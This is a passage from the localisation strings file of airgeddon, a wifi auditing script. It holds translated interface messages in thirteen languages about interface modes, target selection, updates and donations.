apoyar el proyecto haciendo una donación. A través de PayPal (${mail}) o enviando una fracción de criptomoneda (Bitcoin, Ethereum, Litecoin...). Cualquier cantidad por pequeña que sea (1, 2, 5 $/€) es bien recibida. Más información y enlaces directos para realizarla en: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["FRENCH",0]="Si le script vous a plus et que vous l'avez trouvé utile, vous pouvez soutenir le projet en faisant un don PayPal (${mail}) ou en envoyant une fraction de crypto-monnaie (Bitcoin, Ethereum, Litecoin...). Toute contribution (1, 2, 5 $/€) est bienvenue. Pour faire un don allez à: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["CATALAN",0]="Si et va agradar el script i et va semblar útil, pots donar suport al projecte fent una donació. A través de PayPal (${mail}) o enviant una fracció criptomoneda (Bitcoin, Ethereum, Litecoin...). Qualsevol quantitat per petita que sigui (1, 2, 5 $/€) és ben rebuda. Més informació i enllaços directes per a realitzar-la en: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["PORTUGUESE",0]="Se você gostou do script e o achou útil, apoie o projeto fazendo uma doação através: do PayPal (${mail}) ou enviando uma fração de uma criptomoeda (Bitcoin, Ethereum, Litecoin...). Qualquer quantidade, mesmo pequena (1, 2, 5 $/€) é bem-vinda. Links diretos e de como realizar em: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["RUSSIAN",0]="Если вам понравилась эта программа и она оказалась для вас полезной, вы можете поддержать проект, сделав пожертвование. Доступны переводы через PayPal (${mail}) и криптовалюту (Bitcoin, Ethereum, Litecoin...). Приветствуется любая сумма, даже небольшая (1, 2, 5 $/€). Более подробную информацию и прямые ссылки можно получить по адресу: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["GREEK",0]="Εαν μείνατε ευχαριστημένοι από το script και το βρήκατε χρήσιμο, μπορείτε να υποστηρίξετε το project κάνοντας κάποια δωρεά. Μέσω PayPal (${mail}) ή αποστέλλοντας κάποιο κλάσμα κρυπτονομίσματος (Bitcoin, Ethereum, Litecoin...). Είναι καλοδεχούμενο οποιοδήποτε ποσό (1, 2, 5 $/€), δεν έχει σημασία το πόσο λίγο μπορεί να είναι. Δίνονται περισσότερες πληροφορίες και links για να κάνετε δωρεά, στη διεύθυνση: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["ITALIAN",0]="Se ti è piaciuto lo script e l'hai trovato utile, puoi sostenere il progetto con una donazione. Attraverso PayPal (${mail}) o inviando una frazione di criptovaluta (Bitcoin, Ethereum, Litecoin...). Qualsiasi importo per quanto piccolo (1, 2, 5 $/€) è ben accolto. Piú informazioni e collegamenti diretti per realizzarla in: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["POLISH",0]="Jeśli podobał Ci się ten skrypt i okazał się użyteczny, możesz poprzeć ten projekt, składając donację. Za pośrednictwem usługi PayPal (${mail}) lub wysyłając ułamek kryptowaluty (Bitcoin, Ethereum, Litecoin...). Każda kwota, nawet malutka (1, 2, 5 $/€) będzie mile widziana. Więcej informacji i linki do donacji: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["GERMAN",0]="Wenn Ihnen das Skript gefallen hat und Sie es nützlich fanden, können Sie das Projekt mit einer Spende unterstützen. Durch PayPal (${mail}) oder durch Senden eines Bruchteils von Kryptowährung (Bitcoin, Ethereum, Litecoin...). Jeder kleine Betrag (1, 2, 5 $/€) wird gut angenommen. Weitere Informationen und direkte Links dazu finden Sie unter: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["TURKISH",0]="Eğer bu yazılımı kullanışlı ve eğlenceli bulduysanız, bize bağış yaparak destekte bulunabilirsiniz. PayPal üzerinden (${mail}) ya da herhangi bir kripto para birimi ile (Bitcoin, Ethereum, Litecoin...) Yolladığınız miktarın küçüklüğü fark etmez (1, 2, 5 $/€). Daha fazla fazla bilgi için linkler: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" footer_texts["ARABIC",0]="${urlgithub_wiki}/Contributing-&-Code-of-Conduct :نرحب بأي مبلغ مهما كان صغيرا (1 ، 2 ، 5 دولارات / يورو). مزيد من المعلومات والروابط المباشرة للقيام بذلك على .(Bitcoin, Ethereum, Litecoin...) أو إرسال جزء بسيط من العملة المشفرة PayPal (${mail}) إذا كنت قد استمتعت بالبرنامج ووجدته مفيدًا ، فيمكنك دعم المشروع من خلال التبرع. من خلال" footer_texts["CHINESE",0]="如果您喜欢该脚本并发现它很有用,您可以通过捐赠来支持该项目。通过 PayPal (${mail}) 或一点加密货币来付款 (比特币、以太币、莱特币...) 。欢迎任何金额,无论金额多少 (1、2、5 ¥/$/€) 。更多信息和直接链接: ${urlgithub_wiki}/Contributing-&-Code-of-Conduct" declare -gA arr arr["ENGLISH",0]="This interface \${current_iface_on_messages} is already in managed mode" arr["SPANISH",0]="Esta interfaz \${current_iface_on_messages} ya está en modo managed" arr["FRENCH",0]="L'interface \${current_iface_on_messages} est déjà en mode managed" arr["CATALAN",0]="Aquesta interfície \${current_iface_on_messages} ja està en mode managed" arr["PORTUGUESE",0]="Esta interface \${current_iface_on_messages} já está em modo managed" arr["RUSSIAN",0]="Этот интерфейс \${current_iface_on_messages} уже в управляемом режиме" arr["GREEK",0]="Αυτή η διεπαφή \${current_iface_on_messages} είναι ήδη σε ετερόκλητη κατάσταση" arr["ITALIAN",0]="Questa interfaccia \${current_iface_on_messages} è già in modalità managed" arr["POLISH",0]="Ten interfejs \${current_iface_on_messages} jest już w trybie managed" arr["GERMAN",0]="Diese \${current_iface_on_messages}-Schnittstelle befindet sich bereits im managed Modus" arr["TURKISH",0]="Bu arayüz \${current_iface_on_messages} zaten yönetici modunda" arr["ARABIC",0]="Managed mode في الوضع \${current_iface_on_messages} هذه الواجهة" arr["CHINESE",0]="此接口 \${current_iface_on_messages} 已处于管理模式" arr["ENGLISH",1]="This interface \${current_iface_on_messages} is not a wifi card. It doesn't support managed mode" arr["SPANISH",1]="Esta interfaz \${current_iface_on_messages} no es una tarjeta wifi. No soporta modo managed" arr["FRENCH",1]="L'interface \${current_iface_on_messages} n'est pas une carte wifi. Elle n'est donc pas compatible mode managed" arr["CATALAN",1]="Aquesta interfície \${current_iface_on_messages} no és una targeta wifi vàlida. No es compatible amb mode managed" arr["PORTUGUESE",1]="Esta interface \${current_iface_on_messages} não é wifi. Ela não suporta o modo managed" arr["RUSSIAN",1]="Этот интерфейс \${current_iface_on_messages} не является wifi картой. Он не поддерживает управляемый режим" arr["GREEK",1]="Αυτή η διεπαφή \${current_iface_on_messages} δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση" arr["ITALIAN",1]="Questa interfaccia \${current_iface_on_messages} non è una scheda wifi. Non supporta la modalità managed" arr["POLISH",1]="Interfejs \${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu zarządzania" arr["GERMAN",1]="Diese \${current_iface_on_messages}-Schnittstelle ist keine WIFI-Karte. Managed Modus ist nicht unterstützt" arr["TURKISH",1]="Bu arayüz \${current_iface_on_messages} wifi kart değildir. Yönetici modunu desteklemiyor" arr["ARABIC",1]="Managed mode لذلك فهي لا تتحمل الوضع .wifi ليست بطاقة \${current_iface_on_messages} هذه الواجهة" arr["CHINESE",1]="这个接口 \${current_iface_on_messages} 不是 wifi 网卡。它不支持管理模式" arr["ENGLISH",2]="English O.S. language detected. Supported by script. Automatically changed" arr["SPANISH",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automáticamente" arr["FRENCH",2]="S.E. en Français détecté. Langue prise en charge par le script et changée automatiquement" arr["CATALAN",2]="Idioma Català del S.O. detectat. Suportat pel script. S'ha canviat automàticament" arr["PORTUGUESE",2]="S.O. em Português detectado. Compatível com o script. Idioma alterado automaticamente" arr["RUSSIAN",2]="Определена ОС на русском. Поддерживается скриптом. Локализация автоматически изменена. Помощь на русском: https://hackware.ru/?" arr["GREEK",2]="Εντοπίστηκε Ελληνική γλώσσα συστήματος. Υποστηρίξιμη από το script. Άλλαξε αυτόματα" arr["ITALIAN",2]="Lingua Italiana del S.O. rilevata. Supportata dallo script. Viene cambiata automaticamente" arr["POLISH",2]="Wykryto system operacyjny w języku Polskim. Obsługiwany przez skrypt. Zmieniono automatycznie" arr["GERMAN",2]="Deutsch als Betriebssystemsprache erkannt. Vom Skript unterstützt. Sie wurde automatisch geändert" arr["TURKISH",2]="Türkçe İşletim Sistemi tespit edildi. Yazılım tarafından otomatik olarak değiştirildi" arr["ARABIC",2]="تم الكشف أن اللغة العربية هي لغة نظام التشغيل. وهي متحملة من البرنامج. تغيرت اللغة تلقائيا" arr["CHINESE",2]="检测到您的操作系统语言是中文。由脚本支持。自动更改" arr["ENGLISH",3]="Select target network:" arr["SPANISH",3]="Selecciona la red objetivo:" arr["FRENCH",3]="Sélectionnez le réseau cible:" arr["CATALAN",3]="Selecciona la xarxa objectiu:" arr["PORTUGUESE",3]="Selecione uma rede como alvo:" arr["RUSSIAN",3]="Выбор целевой сети:" arr["GREEK",3]="Διαλέξτε δίκτυο:" arr["ITALIAN",3]="Scegliere una rete come obiettivo:" arr["POLISH",3]="Wybierz sieć docelową:" arr["GERMAN",3]="Wählen Sie das Zielnetzwerk aus:" arr["TURKISH",3]="Hedef ağı seçiniz:" arr["ARABIC",3]=":حدد الشبكة المستهدفة" arr["CHINESE",3]="请选择目标网络:" arr["ENGLISH",4]="Press [Enter] key to start attack..." arr["SPANISH",4]="Pulse la tecla [Enter] para comenzar el ataque..." arr["FRENCH",4]="Pressez [Enter] pour commencer l'attaque..." arr["CATALAN",4]="Premi la tecla [Enter] per començar l'atac..." arr["PORTUGUESE",4]="Pressione [Enter] para iniciar o ataque..." arr["RUSSIAN",4]="Нажмите клавишу [Enter] для начала атаки..." arr["GREEK",4]="Πατήστε [Enter] για να ξεκινήσει η επίθεση..." arr["ITALIAN",4]="Premere il tasto [Enter] per iniziare l'attacco..." arr["POLISH",4]="Naciśnij klawisz [Enter], aby rozpocząć atak..." arr["GERMAN",4]="Drücken Sie die [Enter]-Taste um den Angriff zu starten..." arr["TURKISH",4]="Saldırıya başlamak için [Enter] tuşuna basınız..." arr["ARABIC",4]="...لبدء الهجوم [Enter] اضغط على مفتاح" arr["CHINESE",4]="按 [Enter] 键开始攻击..." arr["ENGLISH",5]="It looks like your internet connection is unstable. The script can't connect to repository. It will continue without updating..." arr["SPANISH",5]="Parece que tu conexión a internet no es estable. El script no puede conectar al repositorio. Continuará sin actualizarse..." arr["FRENCH",5]="Votre connexion internet est trop médiocre pour pouvoir se connecter aux dépôts comme ils se doit. Le script va s’exécuter sans s'actualiser..." arr["CATALAN",5]="Sembla que la teva connexió a internet no és estable. El script no pot connectar amb el repositori. Continuarà sense actualitzar-se..." arr["PORTUGUESE",5]="Parece que sua conexão com a internet não é estável. O script não pode conectar-se ao repositório. Ele continuará sem atualizar..." arr["RUSSIAN",5]="Интернет-подключение кажется нестабильным. Скрипт не может подключиться к репозиторию. Он продолжит без обновления..." arr["GREEK",5]="Φαίνεται πως η σύνδεση με το διαδίκτυο δεν είναι σταθερή. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",5]="Sembra che la connessione a internet non sia stabile. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." arr["POLISH",5]="Wygląda na to, że połączenie internetowe nie jest stabilne. Skrypt nie może połączyć się z repozytorium. Będzie kontynuowany bez aktualizacji..." arr["GERMAN",5]="Anscheinend ist Ihre Internetverbindung nicht stabil. Das Skript kann keine Verbindung zum Repository herstellen. Es wird ohne Aktualisierung fortgesetzt..." arr["TURKISH",5]="Görünüşe göre internet bağlantınız dengesiz. Yazılım depoya bağlanamadı. Güncelleme olmadan devam edilecek..." arr["ARABIC",5]="...يبدو أن اتصالك بالإنترنت غير مستقر. البرنامج لا يمكنه الاتصال بالمستودع. سيستمر دون تحديث" arr["CHINESE",5]="您的互联网连接似乎不稳定。该脚本无法连接到 GitHub 远程仓库。它会继续运行而不更新..." arr["ENGLISH",6]="Welcome to airgeddon script \${normal_color}v\${airgeddon_version}" arr["SPANISH",6]="Bienvenid@ a airgeddon script \${normal_color}v\${airgeddon_version}" arr["FRENCH",6]="Bienvenue au script airgeddon \${normal_color}v\${airgeddon_version}" arr["CATALAN",6]="Benvingut a airgeddon script \${normal_color}v\${airgeddon_version}" arr["PORTUGUESE",6]="Bem-vindo ao script airgeddon \${normal_color}v\${airgeddon_version}" arr["RUSSIAN",6]="Добро пожаловать в скрипт airgeddon \${normal_color}v\${airgeddon_version}" arr["GREEK",6]="Καλωσήρθατε στο airgeddon \${normal_color}v\${airgeddon_version}" arr["ITALIAN",6]="Benvenuti a airgeddon script \${normal_color}v\${airgeddon_version}" arr["POLISH",6]="Witaj w skrypcie airgeddon \${normal_color}v\${airgeddon_version}" arr["GERMAN",6]="Willkommen bei airgeddon Skript \${normal_color}v\${airgeddon_version}" arr["TURKISH",6]="airgeddon yazılımına hoşgeldiniz \${normal_color}v\${airgeddon_version}" arr["ARABIC",6]="\${normal_color}v\${airgeddon_version}\${blue_color} airgeddon مرحبا بكم في" arr["CHINESE",6]="欢迎使用 airgeddon 脚本 \${normal_color}v\${airgeddon_version}" arr["ENGLISH",7]="This script is only for educational purposes. Be good boyz&girlz!" arr["SPANISH",7]="Este script se ha hecho sólo con fines educativos. Sed buen@s chic@s!" arr["FRENCH",7]="Ce script a été fait à des fins purement éducatives. Portez-vous bien!" arr["CATALAN",7]="Aquest script s'ha fet només amb fins educatius. Porteu-vos bé!" arr["PORTUGUESE",7]="Este script foi feito apenas para fins educacionais. Comportem-se!" arr["RUSSIAN",7]="Этот скрипт только для образовательных целей. Будьте хорошими мальчиками и девочками!" arr["GREEK",7]="Αυτό το script είναι για διδακτικούς σκοπούς. Να είστε φρόνιμοι!" arr["ITALIAN",7]="Questo script è stato fatto solo per scopi didattici. Fate i bravi!" arr["POLISH",7]="Ten skrypt został napisany tylko do celów edukacyjnych. Bądź grzeczny!" arr["GERMAN",7]="Dieses Skript wurde ausschließlich zu Bildungszwecken erstellt. Seid brav, Leute!" arr["TURKISH",7]="Bu yazılım sadece eğitim amaçlıdır. Akıllı olun çocuklar!" arr["ARABIC",7]="!هذا البرنامج هو فقط لأغراض تعليمية. كونوا أولاد وبنات جيدين" arr["CHINESE",7]="此脚本仅用于教育目的。请做个好孩子!" arr["ENGLISH",8]="Known compatible distros with this script:" arr["SPANISH",8]="Distros conocidas compatibles con este script:" arr["FRENCH",8]="Distros connues compatibles avec ce script:" arr["CATALAN",8]="Distros conegudes compatibles amb aquest script:" arr["PORTUGUESE",8]="Distros conhecidas compatíveis com este script:" arr["RUSSIAN",8]="Известно совместимые дистрибутивы:" arr["GREEK",8]="Γνώστες εκδόσεις που υποστηρίζουν αυτό το script:" arr["ITALIAN",8]="Distribuzioni note compatibili con questo script:" arr["POLISH",8]="Znane dystrybucje kompatybilne z tym skryptem:" arr["GERMAN",8]="Bekannte Distros, die mit diesem Skript kompatibel sind:" arr["TURKISH",8]="Bu komut dosyasıyla bilinen uyumlu dağıtımlar:" arr["ARABIC",8]=":التوزيعات المتوافقة المعروفة مع هذا البرنامج" arr["CHINESE",8]="与此脚本兼容的已知的 Linux 发行版:" arr["ENGLISH",9]="Detecting system..." arr["SPANISH",9]="Detectando sistema..." arr["FRENCH",9]="Détection du système..." arr["CATALAN",9]="Detecció del sistema..." arr["PORTUGUESE",9]="Detectando sistema..." arr["RUSSIAN",9]="Определяем систему..." arr["GREEK",9]="Το σύστημα εντοπίζεται..." arr["ITALIAN",9]="Rilevando sistema..." arr["POLISH",9]="Wykrywanie systemu..." arr["GERMAN",9]="Systemerkennung..." arr["TURKISH",9]="Sistem tespit ediliyor..." arr["ARABIC",9]="...الكشف عن النظام" arr["CHINESE",9]="检测到当前系统..." arr["ENGLISH",10]="This interface \${current_iface_on_messages} is already in monitor mode" arr["SPANISH",10]="Esta interfaz \${current_iface_on_messages} ya está en modo monitor" arr["FRENCH",10]="L'interface \${current_iface_on_messages} est déjà en mode moniteur" arr["CATALAN",10]="Aquesta interfície \${current_iface_on_messages} ja està en mode monitor" arr["PORTUGUESE",10]="Esta interface \${current_iface_on_messages} já está em modo monitor" arr["RUSSIAN",10]="Этот интерфейс \${current_iface_on_messages} уже в режиме монитора" arr["GREEK",10]="Αυτή η διεπαφή \${current_iface_on_messages} είναι ήδη σε κατάσταση παρακολούθησης" arr["ITALIAN",10]="Questa interfaccia \${current_iface_on_messages} è già in modalità monitor" arr["POLISH",10]="Ten interfejs \${current_iface_on_messages} jest już w trybie monitorowania" arr["GERMAN",10]="Diese \${current_iface_on_messages}-Schnittstelle befindet sich bereits im Monitor-Modus" arr["TURKISH",10]="Bu arayüz \${current_iface_on_messages} zaten izleme modunda" arr["ARABIC",10]="Monitor mode في وضع \${current_iface_on_messages} هذه الواجهة" arr["CHINESE",10]="此接口 \${current_iface_on_messages} 已处于监控模式" arr["ENGLISH",11]="Exiting airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} - See you soon! :)" arr["SPANISH",11]="Saliendo de airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} - Nos vemos pronto! :)" arr["FRENCH",11]="Fermeture du script airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} - A bientôt! :)" arr["CATALAN",11]="Sortint de airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} - Ens veiem aviat! :)" arr["PORTUGUESE",11]="Saindo do script airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} - Até breve! :)" arr["RUSSIAN",11]="Выход из скрипта airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} - До встречи! :)" arr["GREEK",11]="Κλείσιμο του airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} - Αντίο! :)" arr["ITALIAN",11]="Abbandonando airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} - A presto! :)" arr["POLISH",11]="Wyjście z skryptu airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} - Do zobaczenia wkrótce! :)" arr["GERMAN",11]="Sie verlassen airgeddon Skript \${normal_color}v\${airgeddon_version}\${blue_color} - Bis bald! :)" arr["TURKISH",11]="airgeddon yazılımından çıkış yapılıyor \${normal_color}v\${airgeddon_version}\${blue_color} - Tekrar görüşürüz! :)" arr["ARABIC",11]="اراك قريبا! :) - \${normal_color}v\${airgeddon_version}\${blue_color} الخروج من البرنامج" arr["CHINESE",11]="退出 airgeddon 脚本 \${normal_color}v\${airgeddon_version}\${blue_color} - 待会见!:)" arr["ENGLISH",12]="\${blue_color}Interruption detected. \${green_color}Do you really want to exit? \${normal_color}\${visual_choice}" arr["SPANISH",12]="\${blue_color}Detectada interrupción. \${green_color}¿Quieres realmente salir del script? \${normal_color}\${visual_choice}" arr["FRENCH",12]="\${blue_color}Interruption détectée. \${green_color}Voulez-vous vraiment arrêter le script? \${normal_color}\${visual_choice}" arr["CATALAN",12]="\${blue_color}Interrupció detectada. \${green_color}¿Realment vols sortir de l'script? \${normal_color}\${visual_choice}" arr["PORTUGUESE",12]="\${blue_color}Interrupção detectada. \${green_color}Você quer realmente sair do script? \${normal_color}\${visual_choice}" arr["RUSSIAN",12]="\${blue_color}Обнаружено прерывание. \${green_color}Вы действительно хотите выйти? \${normal_color}\${visual_choice}" arr["GREEK",12]="\${blue_color}Εντοπίστηκε διακοπή. \${green_color}Είστε σίγουροι ότι θέλετε να τερματίσετε το script; \${normal_color}\${visual_choice}" arr["ITALIAN",12]="\${blue_color}Rilevata interruzione. \${green_color}Vuoi davvero uscire dallo script? \${normal_color}\${visual_choice}" arr["POLISH",12]="\${blue_color}Wykryto przerwanie. \${green_color}Czy naprawdę chcesz wyjść ze skryptu? \${normal_color}\${visual_choice}" arr["GERMAN",12]="\${blue_color}Unterbrechung wurde erkannt. \${green_color}Wollen Sie wirklich aus dem Skript raus? \${normal_color}\${visual_choice}" arr["TURKISH",12]="\${blue_color}Kesinti algılandı. \${green_color}Gerçekten çıkış yapmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",12]="\${normal_color}\${visual_choice} \${green_color}هل تريد حقًا الخروج؟ \${blue_color}.تم اكتشاف مقاطعة\${normal_color}" arr["CHINESE",12]="\${blue_color}检测到中断信号。\${green_color}您真的要退出吗?\${normal_color}\${visual_choice}" arr["ENGLISH",13]="This interface \${current_iface_on_messages} is not a wifi card. It doesn't support monitor mode" arr["SPANISH",13]="Esta interfaz \${current_iface_on_messages} no es una tarjeta wifi. No soporta modo monitor" arr["FRENCH",13]="L'interface \${current_iface_on_messages} n'est pas une carte wifi. Elle n'est pas compatible avec le mode moniteur" arr["CATALAN",13]="Aquesta interfície \${current_iface_on_messages} no és una targeta wifi vàlida. No es compatible amb mode monitor" arr["PORTUGUESE",13]="Esta interface \${current_iface_on_messages} não é wifi. Ela não suporta o modo monitor" arr["RUSSIAN",13]="Этот интерфейс \${current_iface_on_messages} не является wifi картой. Он не поддерживает режим монитора" arr["GREEK",13]="Αυτή η διεπαφή \${current_iface_on_messages} δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",13]="Questa interfaccia \${current_iface_on_messages} non è una scheda wifi. Non supporta la modalità del monitor" arr["POLISH",13]="Interfejs \${current_iface_on_messages} nie jest kartą wifi. Nie obsługuje trybu monitorowania" arr["GERMAN",13]="Diese \${current_iface_on_messages}-interface ist keine WLAN-Karte. Monitor-Modus ist nicht unterstützt" arr["TURKISH",13]="Bu arayüz \${current_iface_on_messages} bir wifi kartı değildir. İzleme modunu desteklemiyor" arr["ARABIC",13]="monitor mode لذلك فهي لا تتحمل الوضع .wifi ليست بطاقة \${current_iface_on_messages} هذه الواجهة" arr["CHINESE",13]="接口\${current_iface_on_messages}不是 wifi 网卡。不支持监听模式" arr["ENGLISH",14]="This interface \${current_iface_on_messages} is not in monitor mode" arr["SPANISH",14]="Esta interfaz \${current_iface_on_messages} no está en modo monitor" arr["FRENCH",14]="L'interface \${current_iface_on_messages} n'est pas en mode moniteur" arr["CATALAN",14]="Aquesta interfície \${current_iface_on_messages} no està en mode monitor" arr["PORTUGUESE",14]="Esta interface \${current_iface_on_messages} não está em modo monitor" arr["RUSSIAN",14]="Этот интерфейс \${current_iface_on_messages} не в режиме монитора" arr["GREEK",14]="Αυτή η διεπαφή \${current_iface_on_messages} δεν είναι σε κατάσταση παρακολούθησης" arr["ITALIAN",14]="Questa interfaccia \${current_iface_on_messages} non è in modalità monitor" arr["POLISH",14]="Ten interfejs \${current_iface_on_messages} nie jest w trybie monitorowania" arr["GERMAN",14]="Diese \${current_iface_on_messages}-Interface befindet sich nicht im Monitor-Modus" arr["TURKISH",14]="Bu arayüz \${current_iface_on_messages} izleme modunda değildir" arr["ARABIC",14]="monitor mode ليست في وضع \${current_iface_on_messages} هذه الواجهة" arr["CHINESE",14]="此接口 \${current_iface_on_messages} 未处于监听模式" arr["ENGLISH",15]="The interface changed its name while setting in managed mode. Autoselected" arr["SPANISH",15]="Esta interfaz ha cambiado su nombre al ponerse en modo managed. Se ha seleccionado automáticamente" arr["FRENCH",15]="Le nom de l'interface a changé lors du passage en mode managed. Elle a été sélectionnée automatiquement" arr["CATALAN",15]="Aquesta interfície ha canviat de nom al posar-la en mode managed. S'ha triat automàticament" arr["PORTUGUESE",15]="Esta interface mudou de nome ao ser colocada em modo managed. Ela foi selecionada automaticamente" arr["RUSSIAN",15]="Интерфейс изменил имя во время перевода в управляемый режим. Выбран автоматически" arr["GREEK",15]="Η διεπάφη άλλαξε όνομα καθώς ήταν σε ετερόκλητη κατάσταση. Επιλέχθηκε αυτόματα" arr["ITALIAN",15]="Questa interfaccia ha cambiato il suo nome passando in modalità managed. È stata selezionata automaticamente" arr["POLISH",15]="Ten interfejs zmienił nazwę w trakcie uruchamiania trybu zarządzania. Wybrany automatycznie" arr["GERMAN",15]="Dieses Interface hat im Managed-Modus seinen Namen geändert. Es wurde automatisch ausgewählt" arr["TURKISH",15]="Arayüz ismi yönetici moduna alınırken değiştirildi. Otomatik olarak seçildi" arr["ARABIC",15]="تلقائيًا managed mode غيرت الواجهة اسمها أثناء الإعداد في الوضع" arr["CHINESE",15]="在管理模式下,接口名称已变更。自动重新选择" arr["ENGLISH",16]="Managed mode now is set on \${current_iface_on_messages}" arr["SPANISH",16]="Se ha puesto el modo managed en \${current_iface_on_messages}" arr["FRENCH",16]="\${current_iface_on_messages} est maintenant en mode manged" arr["CATALAN",16]="\${current_iface_on_messages} s'ha configurat en mode managed" arr["PORTUGUESE",16]="Modo managed configurado em \${current_iface_on_messages}" arr["RUSSIAN",16]="Управляемый режим теперь установлен на \${current_iface_on_messages}" arr["GREEK",16]="Η διεπαφή \${current_iface_on_messages} είναι τώρα σε ετερόκλητη κατάσταση" arr["ITALIAN",16]="\${current_iface_on_messages} è stata configurata in modalitá managed" arr["POLISH",16]="Tryb zarządzany został ustawiony na \${current_iface_on_messages}" arr["GERMAN",16]="Der Managed-Modus wurde auf \${current_iface_on_messages} festgelegt" arr["TURKISH",16]="Yönetici modu açıldı \${current_iface_on_messages}" arr["ARABIC",16]="managed mode على \${current_iface_on_messages} الآن" arr["CHINESE",16]="管理接口现在设置为 \${current_iface_on_messages}" arr["ENGLISH",17]="Setting your interface in managed mode..." arr["SPANISH",17]="Poniendo la interfaz en modo managed..." arr["FRENCH",17]="L'interface est en train de passer en mode managed..." arr["CATALAN",17]="Configurant la interfície en mode managed..." arr["PORTUGUESE",17]="Colocando a interface em modo managed..." arr["RUSSIAN",17]="Переводим ваш интерфейс в управляемый режим..." arr["GREEK",17]="Ενεργοποιείται η ετερόκλητη κατάσταση στην διεπαφή..." arr["ITALIAN",17]="Mettendo l'interfaccia in modalità managed..." arr["POLISH",17]="Ustawianie interfejsu w trybie zarządzania..." arr["GERMAN",17]="Interface wird zum Managed-Modus versetzt..." arr["TURKISH",17]="Arayüzünüz yönetici moduna çeviriliyor..." arr["ARABIC",17]="...managed mode جارٍ ضبط واجهتك في الوضع" arr["CHINESE",17]="正在将您的接口设置为管理模式..." arr["ENGLISH",18]="Setting your interface in monitor mode..." arr["SPANISH",18]="Poniendo la interfaz en modo monitor..." arr["FRENCH",18]="L'interface est en train de passer en mode moniteur..." arr["CATALAN",18]="Configurant la interfície en mode monitor..." arr["PORTUGUESE",18]="Colocando a interface em modo monitor..." arr["RUSSIAN",18]="Переводим ваш интерфейс в режим монитора..." arr["GREEK",18]="Ενεργοποιείται η κατάσταση παρακολούθησης στην διεπαφή..." arr["ITALIAN",18]="Mettendo l'interfaccia modalità monitor..." arr["POLISH",18]="Ustawianie interfejsu w trybie monitorowania..." arr["GERMAN",18]="Interface wird in den Monitor-Modus gesetzt..." arr["TURKISH",18]="Arayüzünüz izleme moduna çeviriliyor..." arr["ARABIC",18]="...monitor mode جارٍ ضبط واجهتك في الوضع" arr["CHINESE",18]="正在将您的接口设置为监听模式..." arr["ENGLISH",19]="Please be patient. Maybe killing some conflicting processes..." arr["SPANISH",19]="Por favor ten paciencia. Puede que esté matando algunos procesos que podrían causar conflicto..." arr["FRENCH",19]="Soyez patients s'il vous plaît. Il se peut qu'il faile tuer des processus conflictuels..." arr["CATALAN",19]="Si us plau tinguis paciència. Pot ser que s'estiguin matant alguns processos que podrien causar conflicte..." arr["PORTUGUESE",19]="Por favor, seja paciente. Matando alguns processos que podem causar conflitos..." arr["RUSSIAN",19]="Пожалуйста, подождите. Возможно завершение некоторых конфликтующих процессов..." arr["GREEK",19]="Παρακαλώ δείξτε υπομονή. Ίσως τερματίζουν κάποιες εμπλέκουσες διεργασίες..." arr["ITALIAN",19]="Si prega di essere pazienti. Puó essere che si stiano terminando alcuni processi che potrebbero causare un conflitto..." arr["POLISH",19]="Cierpliwości. Zakańczam procesy, które mogłyby powodować konflikty..." arr["GERMAN",19]="Wir bitten um Geduld. Mögliche konfliktreiche Prozesse werden gerade gestoppt..." arr["TURKISH",19]="Lütfen sabırlı olun. Bazı çelişkili süreçler sonlandırılıyor..." arr["ARABIC",19]="...يرجى التحلي بالصبر. ربما يجب قتل بعض العمليات المتضاربة" arr["CHINESE",19]="请耐心等待。也许会杀死一些有冲突的进程..." arr["ENGLISH",20]="This interface \${current_iface_on_messages} doesn't support monitor mode" arr["SPANISH",20]="Esta interfaz \${current_iface_on_messages} no soporta modo monitor" arr["FRENCH",20]="L'interface \${current_iface_on_messages} n'est pas compatible mode moniteur" arr["CATALAN",20]="Aquesta interfície \${current_iface_on_messages} no suporta mode monitor" arr["PORTUGUESE",20]="Esta interface \${current_iface_on_messages} não suporta o modo monitor" arr["RUSSIAN",20]="Этот интерфейс \${current_iface_on_messages} не поддерживает режим монитора" arr["GREEK",20]="Αυτή η διεπαφή \${current_iface_on_messages} δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",20]="Questa interfaccia \${current_iface_on_messages} non supporta la modalità monitor" arr["POLISH",20]="Interfejs \${current_iface_on_messages} nie obsługuje trybu monitorowania" arr["GERMAN",20]="Diese \${current_iface_on_messages}-Interface unterstützt den Monitor-Modus nicht" arr["TURKISH",20]="Bu arayüz \${current_iface_on_messages} izleme modunu desteklemiyor" arr["ARABIC",20]="monitor mode لا تتحمل \${current_iface_on_messages} هذه الواجهة" arr["CHINESE",20]="此接口\${current_iface_on_messages}不支持监听模式" arr["ENGLISH",21]="The interface changed its name while setting in monitor mode. Autoselected" arr["SPANISH",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" arr["FRENCH",21]="Le nom de l'interface a changé lors de l'activation du mode moniteur. Elle a été automatiquement sélectionnée" 